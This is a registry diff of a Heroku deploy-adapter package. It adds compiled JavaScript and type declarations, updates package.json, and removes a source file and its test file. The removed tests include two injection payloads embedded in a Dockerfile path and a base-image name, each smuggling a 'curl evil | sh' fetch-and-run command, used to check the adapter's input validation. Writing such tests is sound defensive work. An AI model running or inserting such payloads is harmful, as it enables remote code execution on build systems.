@crewhaus/cloud-adapter-heroku 0.1.4 → 0.1.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,88 @@
1
+ import { type TargetShape } from "@crewhaus/docker-images";
2
+ import { CrewhausError } from "@crewhaus/errors";
3
+ /**
4
+ * Section 44 — `@crewhaus/cloud-adapter-heroku`
5
+ *
6
+ * One-click deploy adapter for [Heroku](https://heroku.com). Four surfaces:
7
+ *
8
+ * - `herokuYmlFor({target, …})` — emits a deterministic `heroku.yml`
9
+ * manifest pointing at the Container stack with a Docker build for
10
+ * each process type (web for daemon shapes, worker for batch).
11
+ *
12
+ * - `appJsonFor({target, name, …})` — emits a `app.json` Heroku Setup
13
+ * manifest (`stack: container`, env vars, formation).
14
+ *
15
+ * - `herokuDockerfileFor({target, baseImage})` — wraps the §32 base
16
+ * image with a Heroku-tuned `ENV PORT=$PORT` and shell-form CMD —
17
+ * Heroku injects `$PORT` at runtime and expects the container to
18
+ * bind to it. No fixed `EXPOSE`.
19
+ *
20
+ * - `deployToHeroku({apiKey, appName, …})` — creates an app via the
21
+ * Heroku Platform API and sets the stack to `container`. Live
22
+ * calls gated on `HEROKU_API_KEY` (or explicit `apiKey`) + an
23
+ * injectable `fetchImpl`.
24
+ *
25
+ * SECURITY (T8 credential-leak guard): `scrubApiKey()` wraps every
26
+ * error path. Mirrors the §37 exporter-datadog approach.
27
+ *
28
+ * Targets: daemon shapes (channel, managed, batch, voice, browser).
29
+ */
30
+ export declare class HerokuAdapterError extends CrewhausError {
31
+ readonly name = "HerokuAdapterError";
32
+ constructor(message: string, cause?: unknown);
33
+ }
34
+ export declare const HEROKU_TARGET_SHAPES: readonly ["channel", "managed", "batch", "voice", "browser"];
35
+ export type HerokuTargetShape = (typeof HEROKU_TARGET_SHAPES)[number];
36
+ export declare function isHerokuTargetShape(value: unknown): value is HerokuTargetShape;
37
+ export type HerokuDynoSize = "basic" | "standard-1x" | "standard-2x" | "performance-m";
38
+ export type HerokuYmlOptions = {
39
+ readonly target: TargetShape;
40
+ readonly dockerfilePath?: string;
41
+ };
42
+ /**
43
+ * Heroku.yml is YAML but small + deterministic enough to template
44
+ * inline. Three top-level sections: build, run, release (release omitted
45
+ * for now — no DB migrations in the shipped scope).
46
+ */
47
+ export declare function herokuYmlFor(opts: HerokuYmlOptions): string;
48
+ export type AppJsonOptions = {
49
+ readonly target: TargetShape;
50
+ readonly name: string;
51
+ readonly description?: string;
52
+ readonly envVars?: Readonly<Record<string, {
53
+ value?: string;
54
+ required?: boolean;
55
+ }>>;
56
+ readonly dynoSize?: HerokuDynoSize;
57
+ readonly quantity?: number;
58
+ };
59
+ /**
60
+ * `app.json` Heroku Setup manifest. Deterministic key order, sorted
61
+ * env-var keys.
62
+ */
63
+ export declare function appJsonFor(opts: AppJsonOptions): string;
64
+ export type HerokuDockerfileOptions = {
65
+ readonly target: TargetShape;
66
+ readonly baseImage: string;
67
+ };
68
+ export declare function herokuDockerfileFor(opts: HerokuDockerfileOptions): string;
69
+ export type HerokuDeployRecord = {
70
+ readonly appId: string;
71
+ readonly appName: string;
72
+ readonly webUrl: string;
73
+ };
74
+ export type DeployToHerokuOptions = {
75
+ readonly appName: string;
76
+ readonly region?: "us" | "eu";
77
+ readonly apiKey?: string;
78
+ readonly apiBaseUrl?: string;
79
+ readonly fetchImpl?: typeof fetch;
80
+ };
81
+ export declare const HEROKU_DEFAULT_API_BASE = "https://api.heroku.com";
82
+ export declare function scrubApiKey(message: string, apiKey: string | undefined): string;
83
+ /**
84
+ * Create an app via Heroku Platform API. Stack is pinned to `container`
85
+ * so the heroku.yml + Dockerfile build path is used. All errors run
86
+ * through `scrubApiKey()`.
87
+ */
88
+ export declare function deployToHeroku(opts: DeployToHerokuOptions): Promise<HerokuDeployRecord>;
package/dist/index.js ADDED
@@ -0,0 +1,218 @@
1
+ import { isTargetShape } from "@crewhaus/docker-images";
2
+ import { CrewhausError } from "@crewhaus/errors";
3
+ /**
4
+ * Section 44 — `@crewhaus/cloud-adapter-heroku`
5
+ *
6
+ * One-click deploy adapter for [Heroku](https://heroku.com). Four surfaces:
7
+ *
8
+ * - `herokuYmlFor({target, …})` — emits a deterministic `heroku.yml`
9
+ * manifest pointing at the Container stack with a Docker build for
10
+ * each process type (web for daemon shapes, worker for batch).
11
+ *
12
+ * - `appJsonFor({target, name, …})` — emits a `app.json` Heroku Setup
13
+ * manifest (`stack: container`, env vars, formation).
14
+ *
15
+ * - `herokuDockerfileFor({target, baseImage})` — wraps the §32 base
16
+ * image with a Heroku-tuned `ENV PORT=$PORT` and shell-form CMD —
17
+ * Heroku injects `$PORT` at runtime and expects the container to
18
+ * bind to it. No fixed `EXPOSE`.
19
+ *
20
+ * - `deployToHeroku({apiKey, appName, …})` — creates an app via the
21
+ * Heroku Platform API and sets the stack to `container`. Live
22
+ * calls gated on `HEROKU_API_KEY` (or explicit `apiKey`) + an
23
+ * injectable `fetchImpl`.
24
+ *
25
+ * SECURITY (T8 credential-leak guard): `scrubApiKey()` wraps every
26
+ * error path. Mirrors the §37 exporter-datadog approach.
27
+ *
28
+ * Targets: daemon shapes (channel, managed, batch, voice, browser).
29
+ */
30
+ export class HerokuAdapterError extends CrewhausError {
31
+ name = "HerokuAdapterError";
32
+ constructor(message, cause) {
33
+ super("config", message, cause);
34
+ }
35
+ }
36
+ export const HEROKU_TARGET_SHAPES = [
37
+ "channel",
38
+ "managed",
39
+ "batch",
40
+ "voice",
41
+ "browser",
42
+ ];
43
+ export function isHerokuTargetShape(value) {
44
+ return typeof value === "string" && HEROKU_TARGET_SHAPES.includes(value);
45
+ }
46
+ const PROCESS_FOR_TARGET = {
47
+ channel: "web",
48
+ managed: "web",
49
+ voice: "web",
50
+ browser: "web",
51
+ batch: "worker",
52
+ };
53
+ const APP_NAME_PATTERN = /^[a-z][a-z0-9-]{2,28}[a-z0-9]$/;
54
+ // Free-form strings (`dockerfilePath`, `baseImage`) are interpolated verbatim
55
+ // into the generated heroku.yml / Dockerfile. A newline or other control
56
+ // character would let a caller inject arbitrary YAML sections or Dockerfile
57
+ // instructions (e.g. a top-level `release:` block, or a `RUN` directive that
58
+ // executes at build time). Legitimate filesystem paths and image references
59
+ // never contain control characters, so reject them outright.
60
+ // Matches C0 control characters (U+0000–U+001F) and DEL (U+007F).
61
+ // eslint-disable-next-line no-control-regex
62
+ // biome-ignore lint/suspicious/noControlCharactersInRegex: intentional control-character detection/sanitization
63
+ const CONTROL_CHAR_PATTERN = /[\u0000-\u001f\u007f]/;
64
+ function assertHerokuTarget(target) {
65
+ if (!isHerokuTargetShape(target)) {
66
+ throw new HerokuAdapterError(`target shape "${target}" is not supported by Heroku. Supported daemon shapes: ${HEROKU_TARGET_SHAPES.join(", ")}.`);
67
+ }
68
+ }
69
+ function assertAppName(name) {
70
+ if (!APP_NAME_PATTERN.test(name)) {
71
+ throw new HerokuAdapterError(`app name "${name}" is invalid. Must be lowercase letters/digits/hyphens, 4-30 chars, starts with a letter, no trailing hyphen.`);
72
+ }
73
+ }
74
+ function assertNoInjection(label, value) {
75
+ if (value.length === 0) {
76
+ throw new HerokuAdapterError(`${label} must not be empty.`);
77
+ }
78
+ if (CONTROL_CHAR_PATTERN.test(value)) {
79
+ throw new HerokuAdapterError(`${label} must not contain newlines or control characters.`);
80
+ }
81
+ }
82
+ /**
83
+ * Heroku.yml is YAML but small + deterministic enough to template
84
+ * inline. Three top-level sections: build, run, release (release omitted
85
+ * for now — no DB migrations in the shipped scope).
86
+ */
87
+ export function herokuYmlFor(opts) {
88
+ if (!isTargetShape(opts.target)) {
89
+ throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
90
+ }
91
+ assertHerokuTarget(opts.target);
92
+ const dockerfilePath = opts.dockerfilePath ?? "Dockerfile.heroku";
93
+ assertNoInjection("dockerfilePath", dockerfilePath);
94
+ const processName = PROCESS_FOR_TARGET[opts.target];
95
+ const lines = [
96
+ "# Generated by @crewhaus/cloud-adapter-heroku — do not edit by hand",
97
+ "build:",
98
+ " docker:",
99
+ ` ${processName}: ${dockerfilePath}`,
100
+ "run:",
101
+ ` ${processName}: bun run start`,
102
+ ];
103
+ return `${lines.join("\n")}\n`;
104
+ }
105
+ /**
106
+ * `app.json` Heroku Setup manifest. Deterministic key order, sorted
107
+ * env-var keys.
108
+ */
109
+ export function appJsonFor(opts) {
110
+ if (!isTargetShape(opts.target)) {
111
+ throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
112
+ }
113
+ assertHerokuTarget(opts.target);
114
+ assertAppName(opts.name);
115
+ const processName = PROCESS_FOR_TARGET[opts.target];
116
+ const formation = {
117
+ [processName]: {
118
+ quantity: opts.quantity ?? 1,
119
+ size: opts.dynoSize ?? "basic",
120
+ },
121
+ };
122
+ const env = {};
123
+ if (opts.envVars) {
124
+ for (const key of Object.keys(opts.envVars).sort()) {
125
+ const value = opts.envVars[key];
126
+ if (value === undefined)
127
+ continue;
128
+ env[key] = value;
129
+ }
130
+ }
131
+ const manifest = {
132
+ name: opts.name,
133
+ stack: "container",
134
+ formation,
135
+ };
136
+ if (opts.description !== undefined) {
137
+ manifest["description"] = opts.description;
138
+ }
139
+ if (Object.keys(env).length > 0) {
140
+ manifest["env"] = env;
141
+ }
142
+ return `${JSON.stringify(manifest, null, 2)}\n`;
143
+ }
144
+ export function herokuDockerfileFor(opts) {
145
+ if (!isTargetShape(opts.target)) {
146
+ throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
147
+ }
148
+ assertHerokuTarget(opts.target);
149
+ assertNoInjection("baseImage", opts.baseImage);
150
+ // Heroku injects $PORT at runtime; container must bind to it. No EXPOSE.
151
+ const lines = [
152
+ `# Heroku-tuned wrapper around ${opts.baseImage}`,
153
+ `FROM ${opts.baseImage}`,
154
+ "ENV PORT=${PORT:-8080}",
155
+ ];
156
+ return `${lines.join("\n")}\n`;
157
+ }
158
+ export const HEROKU_DEFAULT_API_BASE = "https://api.heroku.com";
159
+ function resolveApiKey(provided) {
160
+ const key = provided ?? process.env["HEROKU_API_KEY"];
161
+ if (key === undefined || key.length === 0) {
162
+ throw new HerokuAdapterError("HEROKU_API_KEY is required. Pass `apiKey` explicitly or set the env var.");
163
+ }
164
+ return key;
165
+ }
166
+ export function scrubApiKey(message, apiKey) {
167
+ if (apiKey === undefined || apiKey.length < 8)
168
+ return message;
169
+ return message.split(apiKey).join("[REDACTED:HEROKU_API_KEY]");
170
+ }
171
+ /**
172
+ * Create an app via Heroku Platform API. Stack is pinned to `container`
173
+ * so the heroku.yml + Dockerfile build path is used. All errors run
174
+ * through `scrubApiKey()`.
175
+ */
176
+ export async function deployToHeroku(opts) {
177
+ assertAppName(opts.appName);
178
+ const apiKey = resolveApiKey(opts.apiKey);
179
+ const baseUrl = opts.apiBaseUrl ?? HEROKU_DEFAULT_API_BASE;
180
+ const fetchFn = opts.fetchImpl ?? fetch;
181
+ const region = opts.region ?? "us";
182
+ let response;
183
+ try {
184
+ response = await fetchFn(`${baseUrl}/apps`, {
185
+ method: "POST",
186
+ headers: {
187
+ Authorization: `Bearer ${apiKey}`,
188
+ Accept: "application/vnd.heroku+json; version=3",
189
+ "Content-Type": "application/json",
190
+ },
191
+ body: JSON.stringify({ name: opts.appName, stack: "container", region }),
192
+ });
193
+ }
194
+ catch (err) {
195
+ const msg = err instanceof Error ? err.message : String(err);
196
+ throw new HerokuAdapterError(`Heroku Platform API request failed: ${scrubApiKey(msg, apiKey)}`, err);
197
+ }
198
+ const text = await response.text();
199
+ const scrubbed = scrubApiKey(text, apiKey);
200
+ if (!response.ok) {
201
+ throw new HerokuAdapterError(`Heroku Platform API returned ${response.status} ${response.statusText}: ${scrubbed}`);
202
+ }
203
+ let parsed;
204
+ try {
205
+ parsed = JSON.parse(text);
206
+ }
207
+ catch (err) {
208
+ throw new HerokuAdapterError(`Heroku Platform API returned non-JSON body: ${scrubbed}`, err);
209
+ }
210
+ if (typeof parsed.id !== "string" || typeof parsed.name !== "string") {
211
+ throw new HerokuAdapterError(`Heroku Platform API response missing id/name: ${scrubbed}`);
212
+ }
213
+ return {
214
+ appId: parsed.id,
215
+ appName: parsed.name,
216
+ webUrl: parsed.web_url ?? `https://${parsed.name}.herokuapp.com/`,
217
+ };
218
+ }
package/package.json CHANGED
@@ -1,19 +1,22 @@
1
1
  {
2
2
  "name": "@crewhaus/cloud-adapter-heroku",
3
- "version": "0.1.4",
3
+ "version": "0.1.5",
4
4
  "type": "module",
5
5
  "description": "One-click deploy adapter for Heroku — generates a heroku.yml + app.json + Dockerfile and wraps the Heroku Platform API for daemon target shapes (Section 44)",
6
- "main": "src/index.ts",
7
- "types": "src/index.ts",
6
+ "main": "dist/index.js",
7
+ "types": "dist/index.d.ts",
8
8
  "exports": {
9
- ".": "./src/index.ts"
9
+ ".": {
10
+ "types": "./dist/index.d.ts",
11
+ "import": "./dist/index.js"
12
+ }
10
13
  },
11
14
  "scripts": {
12
15
  "test": "bun test src"
13
16
  },
14
17
  "dependencies": {
15
- "@crewhaus/docker-images": "0.1.4",
16
- "@crewhaus/errors": "0.1.4"
18
+ "@crewhaus/docker-images": "0.1.5",
19
+ "@crewhaus/errors": "0.1.5"
17
20
  },
18
21
  "license": "Apache-2.0",
19
22
  "author": {
@@ -33,5 +36,5 @@
33
36
  "publishConfig": {
34
37
  "access": "public"
35
38
  },
36
- "files": ["src", "README.md", "LICENSE", "NOTICE"]
39
+ "files": ["dist", "README.md", "LICENSE", "NOTICE"]
37
40
  }
package/src/index.test.ts DELETED
@@ -1,457 +0,0 @@
1
- import { afterEach, describe, expect, test } from "bun:test";
2
- import {
3
- HEROKU_DEFAULT_API_BASE,
4
- HEROKU_TARGET_SHAPES,
5
- HerokuAdapterError,
6
- appJsonFor,
7
- deployToHeroku,
8
- herokuDockerfileFor,
9
- herokuYmlFor,
10
- isHerokuTargetShape,
11
- scrubApiKey,
12
- } from "./index";
13
-
14
- const API_KEY_ENV = "HEROKU_API_KEY";
15
-
16
- describe("isHerokuTargetShape", () => {
17
- test("accepts daemon shapes", () => {
18
- for (const shape of HEROKU_TARGET_SHAPES) {
19
- expect(isHerokuTargetShape(shape)).toBe(true);
20
- }
21
- });
22
- test("rejects one-shot shapes", () => {
23
- for (const shape of ["cli", "workflow", "eval", "graph", "pipeline", "crew", "research"]) {
24
- expect(isHerokuTargetShape(shape)).toBe(false);
25
- }
26
- });
27
- });
28
-
29
- describe("herokuYmlFor", () => {
30
- test("web shape gets web process", () => {
31
- const yml = herokuYmlFor({ target: "channel" });
32
- expect(yml).toContain("build:");
33
- expect(yml).toContain("docker:");
34
- expect(yml).toContain("web: Dockerfile.heroku");
35
- expect(yml).toContain("run:");
36
- expect(yml).toContain("web: bun run start");
37
- });
38
-
39
- test("batch shape gets worker process", () => {
40
- const yml = herokuYmlFor({ target: "batch" });
41
- expect(yml).toContain("worker: Dockerfile.heroku");
42
- expect(yml).toContain("worker: bun run start");
43
- expect(yml).not.toContain("web:");
44
- });
45
-
46
- test("respects dockerfile path override", () => {
47
- const yml = herokuYmlFor({ target: "channel", dockerfilePath: "Dockerfile.prod" });
48
- expect(yml).toContain("web: Dockerfile.prod");
49
- });
50
-
51
- test("rejects unsupported shapes", () => {
52
- expect(() => herokuYmlFor({ target: "cli" })).toThrow(HerokuAdapterError);
53
- });
54
-
55
- // Regression: a `dockerfilePath` containing a newline could inject arbitrary
56
- // top-level YAML sections (e.g. a `release:` block Heroku would execute).
57
- test("rejects dockerfile path with newline injection", () => {
58
- expect(() =>
59
- herokuYmlFor({
60
- target: "channel",
61
- dockerfilePath: "Dockerfile\nrelease:\n command: ['curl evil | sh']",
62
- }),
63
- ).toThrow(HerokuAdapterError);
64
- });
65
-
66
- test("rejects dockerfile path with control character", () => {
67
- expect(() => herokuYmlFor({ target: "channel", dockerfilePath: "Dockerfile\t" })).toThrow(
68
- HerokuAdapterError,
69
- );
70
- });
71
-
72
- test("rejects empty dockerfile path", () => {
73
- expect(() => herokuYmlFor({ target: "channel", dockerfilePath: "" })).toThrow(
74
- HerokuAdapterError,
75
- );
76
- });
77
- });
78
-
79
- describe("appJsonFor", () => {
80
- test("emits container stack with formation", () => {
81
- const parsed = JSON.parse(appJsonFor({ target: "channel", name: "my-bot" }));
82
- expect(parsed.stack).toBe("container");
83
- expect(parsed.name).toBe("my-bot");
84
- expect(parsed.formation.web).toEqual({ quantity: 1, size: "basic" });
85
- });
86
-
87
- test("worker shape gets worker formation", () => {
88
- const parsed = JSON.parse(appJsonFor({ target: "batch", name: "my-worker" }));
89
- expect(parsed.formation.worker).toEqual({ quantity: 1, size: "basic" });
90
- expect(parsed.formation.web).toBeUndefined();
91
- });
92
-
93
- test("env vars are sorted deterministically", () => {
94
- const a = appJsonFor({
95
- target: "channel",
96
- name: "my-bot",
97
- envVars: {
98
- ZETA: { value: "1" },
99
- ALPHA: { value: "2" },
100
- },
101
- });
102
- const b = appJsonFor({
103
- target: "channel",
104
- name: "my-bot",
105
- envVars: {
106
- ALPHA: { value: "2" },
107
- ZETA: { value: "1" },
108
- },
109
- });
110
- expect(a).toBe(b);
111
- expect(a.indexOf('"ALPHA"')).toBeLessThan(a.indexOf('"ZETA"'));
112
- });
113
-
114
- // An env-var entry that is explicitly `undefined` (only reachable from
115
- // untyped JS callers) is skipped rather than serialized.
116
- test("skips undefined env-var entries", () => {
117
- const out = appJsonFor({
118
- target: "channel",
119
- name: "my-bot",
120
- envVars: {
121
- KEEP: { value: "1" },
122
- DROP: undefined as unknown as { value?: string },
123
- },
124
- });
125
- const parsed = JSON.parse(out);
126
- expect(parsed.env).toEqual({ KEEP: { value: "1" } });
127
- expect(parsed.env.DROP).toBeUndefined();
128
- });
129
-
130
- // When no env vars survive filtering, the `env` key is omitted entirely.
131
- test("omits env key when no env vars provided", () => {
132
- const parsed = JSON.parse(appJsonFor({ target: "channel", name: "my-bot" }));
133
- expect(parsed.env).toBeUndefined();
134
- });
135
-
136
- test("includes description when provided", () => {
137
- const parsed = JSON.parse(
138
- appJsonFor({ target: "channel", name: "my-bot", description: "a demo bot" }),
139
- );
140
- expect(parsed.description).toBe("a demo bot");
141
- });
142
-
143
- test("respects dyno size and quantity", () => {
144
- const parsed = JSON.parse(
145
- appJsonFor({
146
- target: "channel",
147
- name: "my-bot",
148
- dynoSize: "performance-m",
149
- quantity: 3,
150
- }),
151
- );
152
- expect(parsed.formation.web.size).toBe("performance-m");
153
- expect(parsed.formation.web.quantity).toBe(3);
154
- });
155
-
156
- test("rejects invalid app names", () => {
157
- expect(() => appJsonFor({ target: "channel", name: "MyBot" })).toThrow(HerokuAdapterError);
158
- expect(() => appJsonFor({ target: "channel", name: "ab" })).toThrow(HerokuAdapterError);
159
- expect(() => appJsonFor({ target: "channel", name: "1starts-with-digit" })).toThrow(
160
- HerokuAdapterError,
161
- );
162
- expect(() => appJsonFor({ target: "channel", name: "trailing-" })).toThrow(HerokuAdapterError);
163
- });
164
-
165
- test("rejects unsupported shapes", () => {
166
- expect(() => appJsonFor({ target: "cli", name: "my-bot" })).toThrow(HerokuAdapterError);
167
- });
168
- });
169
-
170
- describe("herokuDockerfileFor", () => {
171
- test("binds to runtime PORT", () => {
172
- const df = herokuDockerfileFor({ target: "channel", baseImage: "crewhaus/channel:0.1.0" });
173
- expect(df).toContain("FROM crewhaus/channel:0.1.0");
174
- expect(df).toContain("ENV PORT=${PORT:-8080}");
175
- expect(df).not.toContain("EXPOSE");
176
- });
177
-
178
- test("rejects unsupported shapes", () => {
179
- expect(() => herokuDockerfileFor({ target: "cli", baseImage: "x" })).toThrow(
180
- HerokuAdapterError,
181
- );
182
- });
183
-
184
- // Regression: a `baseImage` containing a newline could inject arbitrary
185
- // Dockerfile instructions (e.g. a `RUN` directive executed at build time).
186
- test("rejects base image with newline injection", () => {
187
- expect(() =>
188
- herokuDockerfileFor({
189
- target: "channel",
190
- baseImage: "crewhaus/channel:0.1.0\nRUN curl evil.example | sh",
191
- }),
192
- ).toThrow(HerokuAdapterError);
193
- });
194
-
195
- test("rejects base image with control character", () => {
196
- expect(() =>
197
- herokuDockerfileFor({ target: "channel", baseImage: "crewhaus/channel:0.1.0\t" }),
198
- ).toThrow(HerokuAdapterError);
199
- });
200
-
201
- test("rejects empty base image", () => {
202
- expect(() => herokuDockerfileFor({ target: "channel", baseImage: "" })).toThrow(
203
- HerokuAdapterError,
204
- );
205
- });
206
- });
207
-
208
- describe("scrubApiKey", () => {
209
- test("redacts the key", () => {
210
- expect(scrubApiKey("auth hrk_abcdefghij12345 denied", "hrk_abcdefghij12345")).toBe(
211
- "auth [REDACTED:HEROKU_API_KEY] denied",
212
- );
213
- });
214
- test("ignores short keys", () => {
215
- expect(scrubApiKey("untouched", "abc")).toBe("untouched");
216
- });
217
- test("passes through when key is undefined", () => {
218
- expect(scrubApiKey("untouched", undefined)).toBe("untouched");
219
- });
220
- });
221
-
222
- describe("deployToHeroku", () => {
223
- const ORIGINAL_KEY = process.env[API_KEY_ENV];
224
- afterEach(() => {
225
- if (ORIGINAL_KEY === undefined) delete process.env[API_KEY_ENV];
226
- else process.env[API_KEY_ENV] = ORIGINAL_KEY;
227
- });
228
-
229
- test("creates an app with container stack", async () => {
230
- let observed: { url: string; init: RequestInit } | undefined;
231
- const fetchImpl = (async (url: string | URL, init?: RequestInit) => {
232
- observed = { url: String(url), init: init ?? {} };
233
- return new Response(
234
- JSON.stringify({
235
- id: "app-uuid-123",
236
- name: "my-bot",
237
- web_url: "https://my-bot.herokuapp.com/",
238
- }),
239
- { status: 201 },
240
- );
241
- }) as unknown as typeof fetch;
242
- const record = await deployToHeroku({
243
- appName: "my-bot",
244
- apiKey: "hrk_testkey_abcdef",
245
- fetchImpl,
246
- });
247
- expect(observed?.url).toBe(`${HEROKU_DEFAULT_API_BASE}/apps`);
248
- const body = JSON.parse(String(observed?.init.body));
249
- expect(body.stack).toBe("container");
250
- expect(body.region).toBe("us");
251
- expect((observed?.init.headers as Record<string, string>)["Accept"]).toBe(
252
- "application/vnd.heroku+json; version=3",
253
- );
254
- expect(record.appId).toBe("app-uuid-123");
255
- expect(record.appName).toBe("my-bot");
256
- expect(record.webUrl).toBe("https://my-bot.herokuapp.com/");
257
- });
258
-
259
- test("respects region override", async () => {
260
- let body: Record<string, unknown> = {};
261
- const fetchImpl = (async (_url: string | URL, init?: RequestInit) => {
262
- body = JSON.parse(String(init?.body));
263
- return new Response(JSON.stringify({ id: "x", name: "my-bot" }), { status: 201 });
264
- }) as unknown as typeof fetch;
265
- await deployToHeroku({
266
- appName: "my-bot",
267
- region: "eu",
268
- apiKey: "hrk_testkey_abcdef",
269
- fetchImpl,
270
- });
271
- expect(body["region"]).toBe("eu");
272
- });
273
-
274
- // Custom apiBaseUrl is honored (also documents the SSRF surface: callers
275
- // own the base URL, so it must come from trusted config).
276
- test("respects custom apiBaseUrl", async () => {
277
- let observedUrl = "";
278
- const fetchImpl = (async (url: string | URL) => {
279
- observedUrl = String(url);
280
- return new Response(JSON.stringify({ id: "x", name: "my-bot" }), { status: 201 });
281
- }) as unknown as typeof fetch;
282
- await deployToHeroku({
283
- appName: "my-bot",
284
- apiKey: "hrk_testkey_abcdef",
285
- apiBaseUrl: "https://api.heroku.example",
286
- fetchImpl,
287
- });
288
- expect(observedUrl).toBe("https://api.heroku.example/apps");
289
- });
290
-
291
- test("uses HEROKU_API_KEY env var when apiKey not passed", async () => {
292
- process.env[API_KEY_ENV] = "hrk_env_key_abcdef";
293
- let authHeader = "";
294
- const fetchImpl = (async (_url: string | URL, init?: RequestInit) => {
295
- authHeader = (init?.headers as Record<string, string>)["Authorization"] ?? "";
296
- return new Response(JSON.stringify({ id: "x", name: "my-bot" }), { status: 201 });
297
- }) as unknown as typeof fetch;
298
- await deployToHeroku({ appName: "my-bot", fetchImpl });
299
- expect(authHeader).toBe("Bearer hrk_env_key_abcdef");
300
- });
301
-
302
- test("scrubs API key from error bodies", async () => {
303
- const fetchImpl = (async () =>
304
- new Response("unauthorized — key hrk_leakingkey_full denied", {
305
- status: 401,
306
- statusText: "Unauthorized",
307
- })) as unknown as typeof fetch;
308
- let caught: Error | undefined;
309
- try {
310
- await deployToHeroku({
311
- appName: "my-bot",
312
- apiKey: "hrk_leakingkey_full",
313
- fetchImpl,
314
- });
315
- } catch (err) {
316
- caught = err as Error;
317
- }
318
- expect(caught?.message).not.toContain("hrk_leakingkey_full");
319
- expect(caught?.message).toContain("[REDACTED:HEROKU_API_KEY]");
320
- });
321
-
322
- // The transport-level failure path (fetch rejects) must also scrub the key.
323
- test("scrubs API key from transport errors", async () => {
324
- const fetchImpl = (async () => {
325
- throw new Error("connect ECONNREFUSED while using Bearer hrk_leakingkey_full");
326
- }) as unknown as typeof fetch;
327
- let caught: Error | undefined;
328
- try {
329
- await deployToHeroku({
330
- appName: "my-bot",
331
- apiKey: "hrk_leakingkey_full",
332
- fetchImpl,
333
- });
334
- } catch (err) {
335
- caught = err as Error;
336
- }
337
- expect(caught).toBeInstanceOf(HerokuAdapterError);
338
- expect(caught?.message).toContain("Heroku Platform API request failed");
339
- expect(caught?.message).not.toContain("hrk_leakingkey_full");
340
- expect(caught?.message).toContain("[REDACTED:HEROKU_API_KEY]");
341
- });
342
-
343
- // Non-Error throw value from the transport is stringified, not crashed on.
344
- test("handles non-Error transport rejection", async () => {
345
- const fetchImpl = (async () => {
346
- throw "string failure";
347
- }) as unknown as typeof fetch;
348
- let caught: Error | undefined;
349
- try {
350
- await deployToHeroku({
351
- appName: "my-bot",
352
- apiKey: "hrk_testkey_abcdef",
353
- fetchImpl,
354
- });
355
- } catch (err) {
356
- caught = err as Error;
357
- }
358
- expect(caught).toBeInstanceOf(HerokuAdapterError);
359
- expect(caught?.message).toContain("string failure");
360
- });
361
-
362
- test("throws clearly when no API key configured", async () => {
363
- delete process.env[API_KEY_ENV];
364
- let caught: Error | undefined;
365
- try {
366
- await deployToHeroku({ appName: "my-bot" });
367
- } catch (err) {
368
- caught = err as Error;
369
- }
370
- expect(caught).toBeInstanceOf(HerokuAdapterError);
371
- expect(caught?.message).toContain("HEROKU_API_KEY is required");
372
- });
373
-
374
- // An empty-string env var is treated the same as a missing one.
375
- test("throws when HEROKU_API_KEY is empty", async () => {
376
- process.env[API_KEY_ENV] = "";
377
- let caught: Error | undefined;
378
- try {
379
- await deployToHeroku({ appName: "my-bot" });
380
- } catch (err) {
381
- caught = err as Error;
382
- }
383
- expect(caught).toBeInstanceOf(HerokuAdapterError);
384
- expect(caught?.message).toContain("HEROKU_API_KEY is required");
385
- });
386
-
387
- test("validates app name before network call", async () => {
388
- let called = false;
389
- const fetchImpl = (async () => {
390
- called = true;
391
- return new Response("", { status: 201 });
392
- }) as unknown as typeof fetch;
393
- let caught: Error | undefined;
394
- try {
395
- await deployToHeroku({
396
- appName: "BadCaps",
397
- apiKey: "hrk_testkey_abcdef",
398
- fetchImpl,
399
- });
400
- } catch (err) {
401
- caught = err as Error;
402
- }
403
- expect(caught).toBeInstanceOf(HerokuAdapterError);
404
- expect(called).toBe(false);
405
- });
406
-
407
- test("derives web_url when API omits it", async () => {
408
- const fetchImpl = (async () =>
409
- new Response(JSON.stringify({ id: "x", name: "my-bot" }), {
410
- status: 201,
411
- })) as unknown as typeof fetch;
412
- const record = await deployToHeroku({
413
- appName: "my-bot",
414
- apiKey: "hrk_testkey_abcdef",
415
- fetchImpl,
416
- });
417
- expect(record.webUrl).toBe("https://my-bot.herokuapp.com/");
418
- });
419
-
420
- // Body that parses as JSON but lacks id/name is rejected (scrubbed).
421
- test("rejects JSON response missing id/name", async () => {
422
- const fetchImpl = (async () =>
423
- new Response(JSON.stringify({ message: "created but weird" }), {
424
- status: 201,
425
- })) as unknown as typeof fetch;
426
- let caught: Error | undefined;
427
- try {
428
- await deployToHeroku({
429
- appName: "my-bot",
430
- apiKey: "hrk_testkey_abcdef",
431
- fetchImpl,
432
- });
433
- } catch (err) {
434
- caught = err as Error;
435
- }
436
- expect(caught).toBeInstanceOf(HerokuAdapterError);
437
- expect(caught?.message).toContain("missing id/name");
438
- });
439
-
440
- // A 2xx response whose body is not JSON surfaces a clear parse error.
441
- test("rejects non-JSON success body", async () => {
442
- const fetchImpl = (async () =>
443
- new Response("<html>not json</html>", { status: 201 })) as unknown as typeof fetch;
444
- let caught: Error | undefined;
445
- try {
446
- await deployToHeroku({
447
- appName: "my-bot",
448
- apiKey: "hrk_testkey_abcdef",
449
- fetchImpl,
450
- });
451
- } catch (err) {
452
- caught = err as Error;
453
- }
454
- expect(caught).toBeInstanceOf(HerokuAdapterError);
455
- expect(caught?.message).toContain("non-JSON body");
456
- });
457
- });
package/src/index.ts DELETED
@@ -1,280 +0,0 @@
1
- import { type TargetShape, isTargetShape } from "@crewhaus/docker-images";
2
- import { CrewhausError } from "@crewhaus/errors";
3
-
4
- /**
5
- * Section 44 — `@crewhaus/cloud-adapter-heroku`
6
- *
7
- * One-click deploy adapter for [Heroku](https://heroku.com). Four surfaces:
8
- *
9
- * - `herokuYmlFor({target, …})` — emits a deterministic `heroku.yml`
10
- * manifest pointing at the Container stack with a Docker build for
11
- * each process type (web for daemon shapes, worker for batch).
12
- *
13
- * - `appJsonFor({target, name, …})` — emits a `app.json` Heroku Setup
14
- * manifest (`stack: container`, env vars, formation).
15
- *
16
- * - `herokuDockerfileFor({target, baseImage})` — wraps the §32 base
17
- * image with a Heroku-tuned `ENV PORT=$PORT` and shell-form CMD —
18
- * Heroku injects `$PORT` at runtime and expects the container to
19
- * bind to it. No fixed `EXPOSE`.
20
- *
21
- * - `deployToHeroku({apiKey, appName, …})` — creates an app via the
22
